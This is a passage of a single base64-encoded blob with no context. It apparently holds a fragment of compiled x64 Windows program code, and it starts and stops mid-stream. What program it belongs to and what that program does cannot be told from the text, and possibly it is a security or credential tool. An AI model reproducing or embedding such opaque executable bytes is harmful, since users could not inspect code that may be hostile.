ov56NYD+/9Ig2QkIABMjU3wTI0FgVcEAEiL04vP6LsD+/+FwA+E7AAAAEiLTfBIjVUo/xWBqAIAhcAPhMQAAABIi1XwSI0NplwFAOjRv/r/SItNKP8VN6kCAIXAD4SHAAAASItF+EyNTSBIi00oTI1F+EiNVfBIiUQkIOjdB/v/hcB0T4tNII1B/4P4CXcTjUH/SGPISI0VRVYDAEiLFMrrB0iNFTgjBABMi03wSI0NXVwFAEyLRfjoZL/6/0iLTfD/FTqtAgBIi034/xUwrQIA6yL/FVCtAgCL0EiNDX9cBQDoOr/6/+sMSI0NAV0FAOgsv/r/SItNKP8VAq0CAOnmAAAA/xUfrQIASI0NMF0FAOm/AAAASINkJCAATI1N8EyNBdJ2BABIi9OLz+isAvv/hcAPhKUAAABIi1XwSI0NdV0FAOjYvvr/SItF+EyNTSBIi03wTI1F+EiNVShIiUQkIOj+B/v/hcB0XYtNII1B/4P4CXcTjUH/SGPISI0VXlUDAEiLFMrrB0iNFVEiBABMi0X4SI0NNl0FAOiBvvr/SItNKOj4APv/SI0NWaMDAOhsvvr/SItNKP8VQqwCAEiLTfjpMf////8VW6wCAEiNDTxdBQCL0OhFvvr/6wxIjQ28XQUA6De++v9Ii1wkUDPASIt8JFhIg8RAXcPMSIvESIlYCFdIg+xASINgIABMjUgYSINgGABMjQXL8QMASINg2ABIi9qL+eiwAfv/TItMJGBIjUQkaEiJRCQoRTPASI1EJDBIi9OLz0iJRCQg6GoHAACFwHQbSItMJGhIhcl0Bv8Vwq4CAEiLTCQw/xUfrwIAM8BIi1wkUEiDxEBfw8zMSIlcJAhIiXwkEFVIi+xIgeyAAAAASINlIABIjUWwSINlyABMjU0oSINl2ABMjQVtXQUASINkJCAASIvaSIlFwIv5SI0FP10FAMdF4IIAAABIiUXoSI1F4EiJRdBIjUXASIlF8OjzAPv/hcAPhBEBAABIi00oSI1VuP8VuaUCAIXAD4TlAAAASItNuP8Vf6YCAIXAD4S7AAAASItNuP8VpaQCAIlFsEUzyUiNRSBIi9NIiUQkKIvPSI1FKEWNQQFIiUQkIOhzBgAAhcAPhI8AAABIi1XoSI0N1FwFAOi/vPr/SItNuOg2//r/SI0NB10FAOiqvPr/SItdKEiLVSBIi8v/FdGtAgBMjUXQSIvLSIvQ/xXxrQIAhcB1DkiNDe4/BQDoebz6/+sRRIvASI0NzVwFAIvQ6Ga8+v9Ii00gSIXJdAb/FV+tAgBIi8v/Fb6tAgDrDEiNDRVdBQDoQLz6/0iLTbj/FRaqAgDrIv8VNqoCAIvQSI0NRV0FAOggvPr/6wxIjQ23XQUA6BK8+v9MjZwkgAAAADPASYtbEEmLexhJi+Ndw8zMzEiJXCQIVVZXSIvsSIHsgAAAADPbx0XogAAAAEghXTBIjUW4SCFd0EyNTThIIV3gTI0FwlsFAEghXCQgSIv6SIlFyIvxSI0FrV0FAEiJXbBIiUXwSI1F6EiJRdhIjUXISIlF+OhM//r/hcAPhD8BAABIi004SI1VwP8VEqQCAIXAdTpIi004TI1FsEghXCQgSI1VwEUzyeihBPv/hcB1Gf8VW6kCAIvQSI0Nel4FAOhFu/r/6QMBAABIi12wSItNwP8VoqQCAIXAD4S7AAAASItNwP8VyKICAIlFuEUzyUiNRTBIi9dIiUQkKIvOSI1FOEWNQQFIiUQkIOiWBAAAhcAPhI8AAABIi1XwSI0NB10FAOjiuvr/SItNwOhZ/fr/SI0NKlsFAOjNuvr/SIt9OEiLVTBIi8//FfSrAgBMjUXYSIvPSIvQ/xUUrAIAhcB1DkiNDRE+BQDonLr6/+sRRIvASI0NEF0FAIvQ6Im6+v9Ii00wSIXJdAb/FYKrAgBIi8//FeGrAgDrDEiNDUhdBQDoY7r6/0iLTcD/FTmoAgBIhdt0F0iLy/8VK6gCAOsMSI0NMl4FAOg9uvr/M8BIi5wkoAAAAEiBxIAAAABfXl3DQFVIi+xIg+xgSINlIABIjQUTXAUASINl8ABBuAEAAABIg2XYAEUzyUiJRehIjUXgSIlF0EiNRSBIiUQkKEiNRShIiUQkIESJReDodQMAAIXAdHlIi1XoSI0NQl4FAOjFufr/SItVIEiLTSj/Fe+qAgBIi00oTI1F0EiL0P8VDqsCAIXAdQlIjQ0LPQUA6wyD+BB1DkiNDU1eBQDoiLn6/+sRRIvASI0NrF4FAIvQ6HW5+v9Ii00gSIXJdAb/FW6qAgBIi00o/xXMqgIAM8BIg8RgXcNIiVwkCFdIg+wwgT20kgYAiBMAAHMQSI0dz14FAEiNPdheBQDrDkiNHScUBQBIjT3gXgUASI0N8V4FAOgUufr/TIvPSI0NmlwGAEyLw7rwAAAA6Em8+v+FwHQjSI0N4l4FAOjtuPr/TIvPSI0Nc10GAEyLw7rwAAAA6CK8+v8zwEiLXCRASIPEMF/DzEiLxEiJWAhVVldBVkFXSIPsQEiDYCAATIv5/xW4qQIA6SACAABIi9ZJi8//Fc+pAgBIi9BIjQ2VXgUA6Ii4+v9MjYQkiAAAAEiL1kmLz/8VnKkCAOm/AQAASIvTSI0NfV4FAOhguPr/TIvDSIvWSYvP/xWhqQIASIv4SIXAD4R4AQAASI0VFnAEAEiLy+hO3AAAhcAPhEMBAABIjRVPXgUASIvL6DfcAACFwA+ELAEAAEiNFfhXBQBIi8voINwAAIXAdQ5Iiw9Ii0kI6Hj6+v/rH0iNFUdeBQBIi8vo/9sAAIXAdR1Iiw9Ii0kI6CP6+v9IjQ24nAMA6Mu3+v/p8AAAADPtSDkvdOhMi/eL1UiNDSNeBQDorrf6/0iNFadZBQBIi8vot9sAAEmLDoXAD4WDAAAASItJCOgL+vr/SYsOTI2MJIAAAABIg2QkIABMjUQkOEiNVCQwSItJCOij//r/hcB0Y4uEJIAAAAD/yIP4CXcPSJhIjRUMTgMASIsUwusHSI0V/xoEAEyLTCQwSI0Nu10FAEyLRCQ46Cm3+v9Ii0wkMP8V/qQCAEiLTCQ4/xXzpAIA6xGLEUG4AQAAAEiLSQjozPf6///FTI0070mDPgAPhTT////pFP///0iLB0iNDSldBQBMi0AIixDo1rb6/0iLz/8VzacCAEiLy/8VvKcCAEyLhCSIAAAASIvWSYvP/xXIpwIASIvYSIXAD4U1/v//SIuMJIgAAABIhcl0CDPS/xXPpwIASIvWSYvP/xVzpwIASIvwSIXAD4XU/f//SItcJHBIg8RAQV9BXl9eXcPMzEyL3EmJWwhJiWsQSYlzGEmJeyBBVkiB7IAAAABIjQUZbgQAM9tJIVvoSYv5SYlDwEWL8EiNBVJcBQBJiUPISI0FB1YFAEmJQ9BIjQUUWAUASYlD2EiNBWFcBQBJiUPg6EQBAABIi+hIhcAPhOMAAAC6hQEAAEiLz/8VRqcCAEiLvCSwAAAASIkHSIXAdA9IjVQkQEiLz+jNAgAA6w5IjQ2AYAUA6Lu1+v8zwIXAD4SXAAAASIu0JLgAAABIjUQkSEiLVCRATIvNSIl0JDBBuAIAAAAhXCQoSCEeSIsPSIlEJCD/FZymAgCFwA+Uw4XbD4SRAAAASIsWSIsP/xWrpgIAhcB0boP4AQ+EiQAAAEWF9g+EgAAAAEiL1UiNDXNcBQDoPrX6/zPbSIsOSIXJdAb/FTamAgBIiw//FZWmAgBIi0wkQP8V+qICAEiLzf8V8aICAEyNnCSAAAAAi8NJi1sQSYtrGEmLcyBJi3soSYvjQV7DM9tIjQ2YWwUASIvV6OC0+v/rEUSLwEiNDcRcBQCL0OjNtPr/hdt0jUiLFkiLD+j2+///65dIi8RIiVgISIloEFZXQVZIg+wwM/9MjUggTI0FpOQEAEiJeNiL30iL8ovp6Ej4+v+FwHRoSItsJGhIg87/SP/GZjl8dQB19kiDxhK5QAAAAEiNFDb/FTKiAgBIi9hIhcAPhEIBAABMi81MjQWsXAUASIvWSIvI6K3n/v9IY9BIjU7/SDvRD4QdAQAASIvL/xUIogIASIvY6QwBAABMjUwkaEiJfCQgTI0Fh0sEAEiL1ovN6MH3+v+FwA+E3QAAAEiLTCRoSI1UJGD/FYWcAgCFwA+ErwAAAEiLTCRg/xVKnQIAhcAPhIMAAABIi0wkYP8Vb5sCAIvwuUAAAABEjTR2TY12DUuNFDb/FX6hAgBIi9hIhcB0Yw8QBSdcBQAPEQDyDxANLFwFAPIPEUgQhfZ0L0iNaBZIi0QkYEyNBRtcBQC6BAAAAEiLzUQPtgwH6NXm/v9Ig8UGSP/HSIPuAXXVuCkAAABmQolEc/zrDEiNDfhbBQDoQ7P6/0iLTCRg/xUYoQIA6yL/FTihAgCL0EiNDTdcBQDoIrP6/+sMSI0NuVwFAOgUs/r/SItsJFhIi8NIi1wkUEiDxDBBXl9ew8zMTIvcSYlbEEmJcxhXQVZBV0iD7FBIixlIjQX+XQUASYlD2EyNDSNeBQBJjUMIM/ZJIXMITIvySYlDyEyL+SF0JChJjUPYM/9JiUO4SSF74EUzwDPSSIvL/xW/owIAhcB1dEiLVCRwSIvL/xXVowIAg/gBdVNMi0QkQEiLy0iLVCRw/xXFowIASIvYSIXAdFdIi8j/FbyjAgCD+AF1E0iLC4sRSItJCOi18fr/SIvw6wxIjQ21XQUA6ECy+v9Ii8v/FTejAgDrH0iNDT5eBQDoKbL6/+sRRIvASI0NzV4FAIvQ6Bay+v9Ii0wkcEiFyXQG/xUOowIASYk2SIX2dDtJiw9BuYYEAABFM8Az0v8VGqMCAIXAQA+Ux4X/dSZEi8BIjQ0WXAUAi9Doz7H6/0mLDv8Vpp8CAEmJBkmLD/8VKqMCAEyNXCRQi8dJi1soSYtzMEmL40FfQV5fw8zMSIPsKEiNDQVjBQDokLH6/7gVAABASIPEKMPMzEBTSIPsULn1/////xVLnQIASIvYSI1UJDAzwEiLy4lEJHD/FTydAgAPv0wkMEiNRCR4RA+/RCQyuiAAAABEi0wkcEQPr8FIi8tIiUQkIP8VAJ0CAItUJHBIi8v/FeOcAgAzwEiDxFBbw8zMzEiD7ChIjQ2NYgUA6Aix+v8zwEiDxCjDzEiD7ChIjQ2FYgUA6PCw+v8zwEiDxCjDzEBTSIPsIEiLwoXJdBFIiwhFM8Az0uguigEAi9jrBbvoAwAAi9NIjQ3MYgUA6Lew+v+Ly/8Vr54CAEiNDeBiBQDoo7D6/zPASIPEIFvDzMzMSIlcJAhXSIPsMEiDZCQgAEyNBUE/BQBFM8lIi/qL2egw9Pr/hcB0BDPb6xCF23QFSIsf6wdIjR2kYgUASIvL6KSx+v+FwEiNDfOzBABMjQX0swQASIvTTA9FwUiNDZ5iBQDoMbD6/0iLXCRAM8BIg8QwX8NIiVwkCFdIg+wggz0DgQYAAEiNHbRiBQBIi9NIjT06yAQASA9F10iNDa9iBQDo8q/6/zPASI0N4WIFADkF04AGAA+UwIXAiQXIgAYASA9F30iL0+jMr/r/SItcJDAzwEiDxCBfw8zMzEiD7EhIg2QkMABIjQXjYgUARIsNGIkGAEiNDd1iBQBEiwUeiQYAixUAiQYAx0QkKO6IUwtIiUQkIOh+r/r/M8BIg8RIw8zMzEiJXCQIV0iD7CCL2UiL+kiNTCRA6NuN+v+FwHQuhdt0DEiNDSRjBQDoR6/6/0iLVCRASI0Ns+oEAOg2r/r/SItMJED/FQudAgDrFP8VK50CAIvQSI0NCmMFAOgVr/r/hdt0XEiLD/8V0JoCAIXAdDtIjUwkQOh6jfr/hcB0HkiLVCRASI0NamMFAOjlrvr/SItMJED/FbqcAgDrI/8V2pwCAEiNDbtiBQDrDf8Vy5wCAEiNDVxjBQCL0Oi1rvr/M8BIi1wkMEiDxCBfw0iD7ChIjQ21YwUA6Jiu+v8zwEiDxCjDzEBTSIPsIINkJEAATI1EJEAz0o1KAv8V3aACAD0jAADAD4XRAAAAi1QkQIXSD4TFAAAAuUAAAAD/FSOcAgBIi9hIhcAPhLwAAABMjUQkQEiL0LkCAAAA/xWcoAIAhcB4fkiNUyBIjQ0lZAUA6CCu+v9IjUsQ6NcFAACLUwxIjQ2d3AQA6Aiu+v+LSwzodAUAAItTCEiNDTZkBQDo8a36/4tTCIXSdBeDewQAdBGLSwRBuAEAAABIA8von+76/0iNDXTPAwDox636/4M7AHQHiwNIA9jrAjPbSIXbdYTrDovQSI0NKWQFAOikrfr/SIvL/xV7mwIA6w6L0EiNDbBkBQDoi636/zPASIPEIFvDzMzMSIlcJAhIiXwkEFVIi+xIg+xwg2UgAEiNBevaBABMjU3ASIlEJCBMjQUrZQQASIvai/noBfH6/0iNBQLbBABIi9NMjU3ISIlEJCBMjQU/2wQAi8/o5PD6/0iLVcBIjU3g/xUSnwIASItVyEiNTfD/FQSfAgBIjVXQSI1N8P8VNp8CAIXAD4gQAQAASI1V4EiNDTvbBADo5qz6/0iNTdDonQQAAEiNDb6RAwDo0az6/0iNRShFM8BMjU0gSIlEJCBIjVXQSI1N4P8VI58CAD0jAADAD4WkAAAAi00ghckPhK4AAACL0blAAAAA/xVgmgIASIvYSIXAD4SsAAAASI1FKEyLw0yNTSBIiUQkIEiNVdBIjU3g/xXWngIAhcB4RYtVKEiNDRhkBQDoU6z6/4tNKOi/AwAAi1UgSI0NgWIFAOg8rPr/i1UgQbgBAAAASIvL6Pfs+v9IjQ0MkQMA6B+s+v/rDovQSI0NBGQFAOgPrPr/SIvL/xXmmQIA6yw9AAEAwHUOSI0NhmQFAOjxq/r/6xdIjQ0IZQUA6wdIjQ2fZQUAi9Do2Kv6/0yNXCRwM8BJi1sQSYt7GEmL413DSIlcJAhIiXQkEFVXQVZIi+xIg+xwSI0FgEEEAEiL2kyNTTBIiUQkIEyNBW1jBACL+ehK7/r/SI0Ft2UFAEiL00yNTThIiUQkIEyNBYTZBACLz+gp7/r/SI0FgtkEAEiL00yNTcBIiUQkIEyNBXPZBACLz+gI7/r/SI0FxWUFAEiL00yNTchIiUQkIEyNBSJBBACLz+jn7vr/SItVMEiNTeD/FRWdAgBIi1U4SI1N8P8VB50CAEiLTcBFM8Az0uhhhAEASI1V0IvwSI1N8P8VKZ0CAEUz9oXAD4jeAAAASI1V4EiNDSvZBADo1qr6/0iNTdDojQIAAIvWSI0NVNkEAOi/qvr/i87oLAIAAEiNDY3HAwDorKr6/0iLTchIg8v/SP/DZkQ5NFl19oldMPbDAXUSTI1FMEiNVTjorer6/4tdMOsDQYvGhcB0f4vTSI0NMNkEAOhrqvr/SIt9OEG4AQAAAEiLz4vT6CPr+v9IjQ34ywMA6Euq+v9Ei8uJdCQgTIvHSI1V0EiNTeD/FdOcAgCFwHgOSI0NKNkEAOgjqvr/6w6L0EiNDUhlBQDoE6r6/0iLz/8V6pcCAOsOi9BIjQ2/ZQUA6Pqp+v9MjVwkcDPASYtbIEmLcyhJi+NBXl9dw8zMzEiJXCQISIl8JBBVSIvsSIPscEiNBZ8/BABIi9pMjU0gSIlEJCBMjQWMYQQAi/noae36/0iNBdZjBQBIi9NMjU0oSIlEJCBMjQWj1wQAi8/oSO36/0iNBaHXBABIi9NMjU3ASIlEJCBMjQWS1wQAi8/oJ+36/0iLVSBIjU3Y/xVVmwIASItVKEiNTej/FUebAgBIi03ARTPAM9LooYIBAEiNVciL2EiNTej/FWmbAgCFwHh9SI1V2EiNDXLXBADoHan6/0iNTcjo1AAAAIvTSI0Nm9cEAOgGqfr/i8vocwAAAEiNDdTFAwDo86j6/0UzyYlcJCBFM8BIjVXISI1N2P8Ve5sCAIXAeAlIjQ3Q1wQA6w49AAEAwHUOSI0N8GQFAOi7qPr/6xdIjQ1yZQUA6wdIjQ35ZQUAi9Dooqj6/0yNXCRwM8BJi1sQSYt7GEmL413DzMxIiVwkCEiJdCQQV0iD7CCL8UiNPXR+AwAz2w+j3nMPSIsXSI0NE5IEAOheqPr//8NIg8cIg/sHcuFIi1wkMEiLdCQ4SIPEIF/DzMzMQFNIg+wgSIvZTI0F8E0GADPSSIsDSI0MUkk7BMh1C0iLQwhJO0TICHQJ/8KD+gNzF+vfSI0UUkmLVNAQSI0NdWcFAOj4p/r/SIvLSIPEIFvpN+r6/8zMzEiD7ChIjQ2taAUA6Nin+v//FTqWAgBMjUQkQLoIAAAASIvI/xVPkAIAhcB0F0iLTCRA6O0DAABIi0wkQP8VvpUCAOsU/xWmlQIAi9BIjQ2VaAUA6JCn+v9IjQ35aAUA6ISn+v//FTaTAgC6CAAAAEyNTCRASIvIRI1C+f8V35ACAIXAdBdIi0wkQOiVAwAASItMJED/FWaVAgDrL/8VTpUCAD3wAwAAdQ5IjQ3QaAUA6DOn+v/rFP8VM5UCAIvQSI0N0mgFAOgdp/r/M8BIg8Qow8zMSIPsKEUzwOggAAAAM8BIg8Qow8xIg+woQbgBAAAA6AkAAAAzwEiDxCjDzMxIiVwkCFVWV0FWQVdIi+xIg+xwRTP/RIlF5EWL8ESJfeAPV8BMiX1ITI0F0XgEAEyJfCQgTI1N2EGL3/MPf0XQSIv6i/HoWur6/0yNTchMiXwkIEyNBdZ4BABIi9eLzuhA6vr/hcB0FkiLTchFM8Az0ujSfwEAiUXg6awAAABFM8lMiXwkIEyNBXtoBQBIi9eLzugN6vr/hcB0KEiNTUi7KQAAAOhbmfr/hcB1ff8VPZQCAIvQSI0NbGgFAOgnpvr/62dFM8lMiXwkIEyNBR54BABIi9eLzujI6fr/hcB0B7saAAAA60NFhfZ0Bkw5fdh0HUUzyUyJfCQgTI0Fr9kDAEiL14vO6Jnp+v+FwHQbuxYAAABMOX3YdBBIjQ3HaAUA6MKl+v9MiX3YRYX2dBREOX3gdQ6F23UKTDl92A+EkwEAAEiLRdhMjQWSiAMAi1XgSI0NIGkFAEiFwEwPRcDohKX6/4XbD4TbAAAASIt9SEiF/3QGSIt/QOsDSYv/TI1NQESJfUBFM8BIi9eLy/8VJI0CAP8VVpMCAIP4V3QFg/h6dTuLVUC5QAAAAP8VBpMCAEiJRdBIhcB0JEyNTUBMi8BIi9eLy/8V64wCAEiLTdCFwHUg/xXtkgIASIlF0P8VC5MCAEiNDaxpBQCL0Oj1pPr/615FM8lMiXwkIEyNRchIjVXA6Brt+v+FwHQqTItFwEiNDbdoBQBIi1XI6Mak+v9Ii03A/xWckgIASItNyP8VkpICAOsb/xWykgIASI0No2gFAOulSI0NgokDAOiVpPr/SI0NdokDAOiJpPr/RYX2dBJEOX3gdQxMOX3QdQZMOX3YdFFIjQXLAQAAx0X4AQAAAEiJRehIjVXoSI1F0EiNDZ3u+v9IiUXw6Ciq+v+FwHgURDl9+HQOSI1F6EiJRCQg6ESI+v9Ii03QSIXJdAb/FQGSAgBIi01ISIXJdAb/FbKMAgAzwEiLnCSgAAAASIPEcEFfQV5fXl3DSIPsKDPSM8n/FX6NAgCFwHQLM9Izyej5+///6xT/FeGRAgCL0EiNDUBpBQDoy6P6/zPASIPEKMNIiVwkCFVIi+xIgeyAAAAAQbk4AAAASI1FIEyNRcBIiUQkIEiL2UGNUdL/FQyMAgCFwA+E2gAAAItVwEiNDdJpBQDofaP6/0UzyUiNRRhFM8BIiUQkIEiLy0GNUQH/FdmLAgCFwHUfSI1FGEiLy0yNTbhIiUQkIEyNRbBIjVUo6Ljq+v/rAjPAhcB0NkyLTbhIjQ2NaQUATItFKEiLVbDoIKP6/0iLTSj/FfaQAgBIi02w/xXskAIASItNuP8V4pACAExjTdhIjR0HGvr/RItF7EiNDWRpBQCLVehOi4zLIGAJAOjcovr/g33YAnUYSGNV3EiNDfvXAwBIi5TTOGAJAOi+ovr/SI0Nn4cDAOiyovr/SIucJJAAAABIgcSAAAAAXcPMQFVTVldBVkiL7EiB7IAAAAC7AQAAAEmL+IldOESL8kiL8f8V2I4CAEQ78A+EkwEAAEiNRUhIi85EjUs3SIlEJCBMjUXIjVMJ/xXKigIAhcAPhG4BAABIg38IAHRvSI1FQEUzyUUzwEiJRCQgi9NIi87/FaGKAgCFwHUeSI1FQEUzyUyNRcBIiUQkIEiNVbhIi87ogen6/+sCM8CFwHQ/SItXCEiLTbjoDMYAAEiLTbgz0oXAD5TCiVU4/xXAjwIASItNwP8Vto8CAOsSi08Qhcl0CzPAO03ID5TAiUU4g304AA+E3wAAADld4LgDAAAARItN5EiLzkQPRMhFM8BIjUWwSIlEJCjHRCQgAgAAAEGNUAz/FQeLAgCFwA+EpgAAAEiLF0iF0nQqSItNsEyNRTiDZTgA/xXtigIAhcB1FP8VY48CAIvQSI0N8mcFAOhNofr/g304AHReQYvWSI0NfWgFAOg4ofr/SIvO6Gz9//+DfxQAdERIi1WwM8n/Fa6KAgCFwHQbSI0NW2gFAOgOofr/M9Izyegd+f//g2U4AOsZ/xUBjwIAi9BIjQ1gaAUA6Oug+v/rA4ldOEiLTbD/FfSOAgCLXTiLw0iBxIAAAABBXl9eW13DzEiD7DhMjQ2laQUAugQAAABMjQWxaQUASI0NukYGAOjxo/r/M8BIg8Q4w8zMSIPsKEiNDfFpBQD/FauMAgBIiQW8dQYASIXAD4Q5AQAASI0V7GkFAEiLyP8Vg4wCAEiLDZx1BgBIjRXtaQUASIkFhnUGAP8VaIwCAEiLDYF1BgBIjRXqaQUASIkFi3UGAP8VTYwCAEiLDWZ1BgBIjRXfaQUASIkFaHUGAP8VMowCAEiLDUt1BgBIjRXcaQUASIkFRXUGAP8VF4wCAEiLDTB1BgBIjRXZaQUASIkFEnUGAP8V/IsCAEiLDRV1BgBIjRXOaQUASIkFN3UGAP8V4YsCAEiLDfp0BgBIjRXDaQUASIkFFHUGAP8VxosCAEiDPdZ0BgAASIkFv3QGAEiJBQh1BgB0TUiDPd50BgAAdENIgz3MdAYAAHQ5SIM9unQGAAB0L0iDPZh0BgAAdCVIgz3OdAYAAHQbSIM9vHQGAAB0EUiFwHQMxwWjdAYAAQAAAOsHgyWadAYAADPASIPEKMPMzMxIg+woSIsNZXQGAEiFyXQG/xUyiwIAM8BIg8Qow8zMzEiJXCQIVVZXQVRBVUFWQVdIi+xIg+xwRTPtTI0FF80EAEUzyUyJbCQg6Kbi+v9EOS07dAYASGPYD4SpBAAATI1F6DPJSI1VWP8VGnQGAIXAD4WDBAAARYv9TIvjRDltWA+G/wMAAEiNNZODAwBIjT3EdgMASI0NrWkFAOiYnvr/SItN6EGL30jB4wRIA8vo0eD6/0iLzuh9nvr/SItN6EyNRdBIA8sz0v8VsnMGAIXAD4iiAwAASItN0OhxCAAASItN0EyNTeBMjUVQugACAAD/FWpzBgCFwA+IcAMAAItVUEiNDVhpBQDoK576/0WL9UQ5bVAPhkoDAACBPYh3BgBAHwAAQYvWQYvGD4NkAQAASI0MwEiLReBIjRzITItDEEiNDTlpBQDo7J36/0iNDUVpBQDo4J36/0iLy+gk4Pr/SIvO6NCd+v9IjQ1ZaQUA6MSd+v9IjUsw6N/f+v9Ii87os536/4tTOEiNDWlpBQDopJ36/0iNDZVpBQDomJ36/0iLSxjoXwgAAEiLzuiHnfr/SI0NqGkFAOh7nfr/SItLIOhCCAAASIvO6Gqd+v9IjQ27aQUA6F6d+v9Ii0so6CUIAABIi87oTZ36/02F5HQ8QYv9RDlrPHYsi9dIjQ2+aQUA6DGd+v+Lz0jB4QVIA0tA6PIHAABIi87oGp36///HO3s8ctRIjT0sdQMASItN0EiNRfBIiUQkMEiL00yJbfBMi0sgTItDGESJbCQoTIlsJCD/FQByBgBIjQ2RaQUAi9jo0pz6/4XbdQ9Ii03wSItJKOiRBwAA6w6L00iNDaZpBQDosZz6/0iLzuipnPr/6cMBAABIjRyASMHjBEiNDd1nBQBIA13gTItDEOiInPr/SI0N4WcFAOh8nPr/SIvL6MDe+v9Ii87obJz6/0iNDfVnBQDoYJz6/0iNSzjoe976/0iLzuhPnPr/i1NASI0NBWgFAOhAnPr/SI0NMWgFAOg0nPr/SItLGOj7BgAASIvO6COc+v9IjQ1EaAUA6Bec+v9Ii0sg6N4GAABIi87oBpz6/0iNDVdoBQDo+pv6/0iLSyjowQYAAEiLzujpm/r/SI0NMmkFAOjdm/r/SItLMOikBgAASIvO6Myb+v9NheR0PEGL/UQ5a0R2LIvXSI0NPWgFAOiwm/r/i89IweEFSANLSOhxBgAASIvO6Jmb+v//xzt7RHLUSI09q3MDAEiLTdBIjUXYSIlEJDhIi9NMiW3YSItDMEyLSyBMi0MYRIlsJDBMiWwkKEiJRCQg/xXGcAYASI0NB2gFAIvw6Eib+v+F9nUPSItN2EiLSSjoBwYAAOsOi9ZIjQ2saAUA6Ceb+v9IjQ0IgAMA6Bub+v9Bi9VIiwOLykjB4QVIOwQ5dQtIi0MISDtEOQh0V//Cg/oHct9IjTXYfwMASItN2EiFyXQG/xVBcAYAQf/GRDt1UA+Ctvz//0iLTeD/FSpwBgBIjU3Q/xUocAYAQf/HRDt9WA+CD/z//0iLTej/FQlwBgDrdov6SI0NfmgFAEjB5wVIjRWzcgMASItUFxDoiZr6/0iNDaJyAwBIi0QPGEiFwHQehfZ1CUyLRdhNhcB1A02LxUgDz0G5AQAAAEiL0//QSI01O38DAEiLzuhLmvr/SI09ZHIDAOlP////i9BIjQ02aAUA6DGa+v8zwEiLnCSwAAAASIPEcEFfQV5BXUFcX15dw8zMzEiJXCQISIl0JCBVV0FWSIvsSIPsYEiLQiAz20mL8EiL+kyL8UiFwA+E2wEAAIN4CAgPhdEBAABIjQ1OaAUA6NGZ+v9Ii08gTI1F2EghXCQgSI1V0EUzyUiLSRjo8OH6/4XAdCpMi0XQSI0NTWgFAEiLVdjonJn6/0iLTdD/FXKHAgBIi03Y/xVohwIA6w1Ii08gSItJGOj52/r/SI0NWn4DAOhtmfr/QYE+K6G4tA+FVAEAAEiNRehBuQgAAABFM8BIiUQkIEiNFQdoBQBIx8ECAACA/xUygQIAhcAPhRgBAABIi08gSI1V4EiLSRj/FYCBAgCFwA+E3gAAAEiLVeBIjUUwSItN6EG5AQAAAEUzwEiJRCQg/xXwgAIAhcAPhZwAAABIi00wSI1FKEiJRCQoSI0VRGgFAEghXCQgRTPJRTPA/xWzgAIAhcB1WYtVKI1IQP8Vi4YCAEiL2EiFwHRTSItNMEiNRShIiUQkKEiNFQdoBQBFM8lIiVwkIEUzwP8VdoACAIXAdCqL0EiNDQFoBQDofJj6/0iLy/8VU4YCAEiL2OsOi9BIjQ21aAUA6GCY+v9Ii00w/xVugAIA6w6L0EiNDWtpBQDoRpj6/0iLTeD/FRyGAgDrFP8VPIYCAIvQSI0NG2oFAOgmmPr/SItN6P8VNIACAOsOi9BIjQ3RagUA6AyY+v9IhfZ0bUiLTihIhcl0ZIN5CAh1Xg+3QRBmiUXyZolF8EiLQRhIjQ2BawUASIlF+OjYl/r/SI1N8Ojr1Pr/hcB0EkiNVfBIjQ2I+QMA6LuX+v/rEw+3VfBBuAEAAABIi0346HLY+v9IjQ2HfAMA6JqX+v9Ii0dISIXAD4SNAQAAg39EAA+GgwEAAEGBPvUz4LIPhGABAABBgT4robi0dHhBgT6Rcsj+dBFIjQ2NbQUA6FiX+v/pUwEAAIN4CAgPhUkBAABIi1gYSI0NLm0FAIs7SAP76DSX+v+LUwiD+gF2FYtDBEiNDUJtBQD/ykyNBEfoF5f6/4tTBIP6AXYR/8pIjQ0+UgQATIvH6P6W+v9IjQ3fewMA65iDeAgID4XrAAAASItwGEiF23QYSIvTSI0N4GoFAOjTlvr/SIvL/xWqhAIASI0NA2sFAOi+lvr/M/9IjV4Mi9dIjQ0/awUA6KqW+v+LU/SLyoXSdFuD6QF0RoP5AXQOSI0NeGwFAOiLlvr/61aDewQASI0NXmsFAEiNBW9rBQBID0XBSI0NjGsFAEiJRCQgi1P4RItD/ESLC+hYlvr/6yOLQwRIjQ3MawUAiUQkIOvfRItD/EiNDeNqBQCLU/joM5b6/0iNDRR7AwDoJ5b6///HSIPDFIP/Aw+CYP///+sWg3gIAnUQD7dQEEiNDdVpBQDoAJb6/0yNXCRgSYtbIEmLczhJi+NBXl9dw8zMzEiJXCQIVUiL7EiD7EAzwEyNReBIiUXgM9LHReABAAAASIvZSIlF6EiJRfD/FfdqBgCFwHgaSItV6EiNDehrBQDoo5X6/0iLTej/FflqBgAzwEyNReCBPf1uBgBAHwAASIvLSIlF4EiJRehIiUXwG8CD4AQz0oPABIlF4P8Vp2oGAIXAeChIi0XoSI0VwGsFAEiFwEiNDc5rBQBID0XQ6EWV+v9Ii03o/xWbagYASItcJFBIg8RAXcNIhckPhBwBAABTSIPsIItRCEiL2USLwkGD6AIPhO8AAABBg+gCD4TZAAAAQYPoAw+EvQAAAEGD6AEPhJMAAABBg+gDdDpBg/gBdBpIjQ2ebAUA6NmU+v9IjUsQugQAAADpgAAAAEiNDdRrBQDov5T6/0iLSxDoNtf6/+mhAAAASI0NymsFAOillPr/SItDEEiNDdprBQCLUAhEi8Loj5T6/0iLUxBIjQ38awUASIsS6HyU+v9IjQ0VbAUA6HCU+v9Ii0sQi1EQSItJGOjU0fr/605IjQ1PawUA6FKU+v+LUxBIi0sYQbgBAAAA6AzV+v/rLkiLURBIjQ0TawUA6C6U+v/rHItREEiNDepqBQDrCw+3URBIjQ29agUA6BCU+v9Ig8QgW8PMzIlMJAhVU1ZBVEFVQVZBV0iNbCTZSIHs8AAAAEUz/0iNBdtkBgBEOT3waAYATIvqRIvhTIl9h0GL90SJfX9MiX2vSIlFt0yJfZ9IiUWnD4XEAQAARTPJTIl8JCBMjQXm4AQA6F3X+v+FwA+EqAEAAIsVB20GAEiNBTw7BgBBi99Bi885EHcUSIvYSIPBUEiDwFBIgfmQAQAAcuhIhdsPhJ4DAABIi0MQSI0VAvUDAEiJRa9BuAEAAABIi0MgM8lIiUWf/xWQewIASIXAdBVMi8BIjVX/SI0NFeUEAOiUzfr/6wNBi8eFwA+EEQEAAESLRRsz0rk4BAAA/xWCgQIATIvwSIXAD4TlAAAAuhAAAACNSjD/FcCAAgBIiUV/SIvwSIXAdBNMjUV/SYvWuQEAAADoG4f6/+sDQYvHhcAPhP8CAABMjUW/SIvOSI0VoN4EAOinn/r/hcB0dYtFz0yNTZ+LSxhIjVWvDxBFv0SLQwhMiWwkQEiJRe9IjQWB/v//RI